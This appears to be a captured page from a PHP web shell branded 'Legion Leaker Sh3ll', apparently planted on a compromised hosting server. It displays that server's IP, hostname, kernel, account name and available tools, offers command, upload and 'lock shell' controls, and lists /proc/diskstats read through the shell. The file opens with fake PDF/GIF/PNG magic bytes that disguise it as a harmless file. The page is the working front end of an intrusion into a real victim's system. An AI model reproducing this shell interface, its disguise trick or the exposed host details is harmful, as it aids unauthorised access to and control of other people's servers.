489495df%PDF- %GIF98; %PNG; Legion Leaker Sh3ll
Legion Leaker Sh3ll
Server IP : 162.241.194.38  /  Your IP : 216.73.216.120
Web Server : Apache
System : Linux gator4304.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : mandnweb ( 2800)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Sh3ll  ][  Logout  ]

Current File : //proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 75 0 696 9 6 0 4 9 0 11 19 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      32 sdc 4031860777 354704 94519971498 2402415720 292214121 423610429 19461062472 400241307 0 3251733477 511396961 0 0 0 0
   8      33 sdc1 4031858013 354704 94519884730 2402414504 273649313 423610429 19461062472 397925685 0 1253104391 2739005441 0 0 0 0
   8       0 sda 6396609209 953385327 241617168066 3025259712 10052840256 5332260580 466217825032 2376559407 0 446486289 2577964384 0 0 0 0
   8       1 sda1 896815234 154784 30854817034 484736970 2733745200 437439873 121519444720 233110896 0 565540913 698150489 0 0 0 0
   8       2 sda2 2004155 338 77097938 1314005 144418517 134982353 18628490648 368605862 0 39230926 368790409 0 0 0 0
   8       3 sda3 26583057 6908164 274879464 9188996 97455753 66871090 1314614744 92720868 0 34724057 102162180 0 0 0 0
   8       4 sda4 9398 0 30148 4257 0 0 0 0 0 4193 4193 0 0 0 0
   8       5 sda5 5471194570 946322041 210410254578 2530014138 6894275292 4692967264 324755274920 1636770698 0 2795958456 4063613819 0 0 0 0
   8      48 sdd 3964118505 462985 97701135658 2404910508 349332016 428124067 24088044600 483199041 0 3532573836 962151202 0 0 0 0
   8      49 sdd1 3964115739 462985 97701048874 2404909367 328501766 428124067 24088044600 480792924 0 1183683817 2823072220 0 0 0 0
   8      64 sde 9350540270 761465 197753111482 1134093993 583491289 735527652 40374456232 851725650 0 2638173426 1895836097 0 0 0 0
   8      65 sde1 9350537515 761465 197753024786 1134092860 533657293 735527652 40374456232 846358061 0 2774192436 1849110471 0 0 0 0
   8      16 sdb 4447337322 470370 116654279314 2618947902 361492987 426114889 30326064296 588185273 0 3164962211 734823553 0 0 0 0
   8      17 sdb1 4447334580 470370 116654192722 2618946776 343112678 426114889 30326064296 586045411 0 1379906267 3145760345 0 0 0 0

Legion Leaker Team -2025